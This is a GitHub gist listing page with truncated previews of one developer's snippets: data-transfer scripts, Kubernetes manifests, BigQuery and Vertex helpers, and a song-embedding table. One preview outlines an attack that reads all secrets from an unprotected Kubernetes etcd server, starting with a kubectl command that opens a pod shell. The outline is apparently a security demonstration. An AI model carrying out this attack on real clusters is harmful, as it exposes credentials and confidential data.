Skip to content

Instantly share code, notes, and snippets.

View atemate's full-sized avatar
🐕

Artem Yushkovskiy atemate

🐕
View GitHub Profile
@atemate
atemate / data_transfer.sh
Last active December 22, 2020 11:55
Neu.ro: copy data: local/cluster -> cluster
#!/bin/bash
set -euo pipefail
function copy_data_to_cluster () {
if [ "$#" -ne 2 ]; then
echo "ERROR: Illegal number of parameters: $#"
echo
echo "Usage:"
echo " $0 SRC_URI DST_URI"
def run_job(
*,
preset: str,
image: str,
command: str,
volumes: Sequence[str],
life_span: str = "8h",
name: Optional[str] = None,
http: Optional[int] = None,
no_http_auth: Optional[bool] = None,
id summary tsne-3d-one tsne-3d-two tsne-3d-three
0 75HWClTWIa1UQECeRnbjie `La Marelle / Amarelinha` by `Dom La Nena` and `Rosemary Standley` and `Birds on a Wire` 4.352917 -4.418016 0.8423983
1 1bTo8Nu19MuTVJXTXXjBVE `Allant vers, à l'envers` by `Malik Djoudi` 3.6060767 -1.341258 -0.4024051
2 6j75OkiEJ1xr4RXK9AmtOd `Ты и твоя тень` by `Увула` -0.0042736554 8.795525 1.140939
3 0CV0o8m5xNFvkuW3g220VQ `Grand paon de nuit` by `Palatine` 2.6564453 -5.394243 -0.014028601
4 1gmQbUnzV4ejiBm8B9BNzQ `Une petite fille` by `Babx` and `André Minvielle` and `Thomas de Pourquery` -1.1268455 9.573206 1.8065826
5 32Cfv8J3eJnPY1NP4mwBEX `זהב לבן` by `Rona Kenan` 3.068561 -7.7026625 -0.08808063
6 094EomfUAtwLtniHpIHzzr `מות התפוז` by `Rona Kenan` 4.019915 4.552658 -4.6062765
7 2ntRTE4hPzWHgi0cyTySEc `Passion` by `Aziza Mustafa Zadeh` -3.968394 -2.1657934 1.4736685
8 2dw1gZU2QkWsiAyjBAL9ek `Die Schlinge` by `OOMPH!` -3.481546 9.903361 2.1730263
@atemate
atemate / pod-github-clone-private
Created May 4, 2021 20:27
K8b pod manifest that clones a private repo
apiVersion: v1
kind: Pod
metadata:
name: test
spec:
volumes:
- name: git-source
emptyDir: {}
- name: ssh-secret-volume
secret:
@atemate
atemate / _k8s_etcd_attack_confidentiality.txt
Last active June 16, 2021 16:20
Kubernetes unprotected etcd attack: read all data, including secrets
# Summary: often, K8s runs an unprotected etcd server, which allows an attacker
# with shell access to a pod running it this cluster (it could even be a compromised
# server) to read all information from etcd, including K8s secrets.
# Step 01: on localhost: get a shell access to a pod in Kubernetes
$ kubectl run --image curlimages/curl -it --rm curl --command -- sh
# Step 02: on the pod: read data from etcd
@atemate
atemate / dotenv.py
Created September 9, 2021 16:36
Dotenv alternatives
import os
from typing import Dict
def load_env(path="./.env", defaultenv=None) -> Dict[str, str]:
env = (defaultenv or {}).copy()
with open(path) as f:
lines = f.readlines()
for line in lines:
line = line.strip()
@atemate
atemate / generate_schema.md
Last active December 22, 2021 12:43
Persist and load SQL schema from BigQuery table

To generate schema:


%%bigquery schema_df

SELECT column_name, data_type
FROM `<dataset>.INFORMATION_SCHEMA.COLUMNS`
WHERE table_name="<table>"
@atemate
atemate / bqml_utils.py
Created December 22, 2021 07:51
Get BQML job statistics
import time
from google.cloud.bigquery import magics
def get_job_statistics(job, model_name):
assert job.state == "DONE", job.state
m = client.get_model(f"{PROJECT_ID}.{DATASET}.{model_name}")
if len(m.training_runs) != 1:
print(f"WARNING: Multiple training runs (taking the first): {model}")
@atemate
atemate / load_multi_yaml.py
Created December 22, 2021 10:42
Read '---' delimited yaml file
# !pip install pyyaml
import yaml
path = '/tmp/jobs.txt'
with open(path) as f:
data = list(yaml.load_all(f, Loader=yaml.FullLoader))
print(len(data))
@atemate
atemate / delete_my_vertex_jobs.py
Created December 22, 2021 10:48
Delete all my Vertex jobs
import yaml
# gcloud ai custom-jobs list --region=us-central1 > /tmp/jobs.txt
path = '/tmp/jobs.txt'
PROJECT_ID = "..."
subname = 'artem'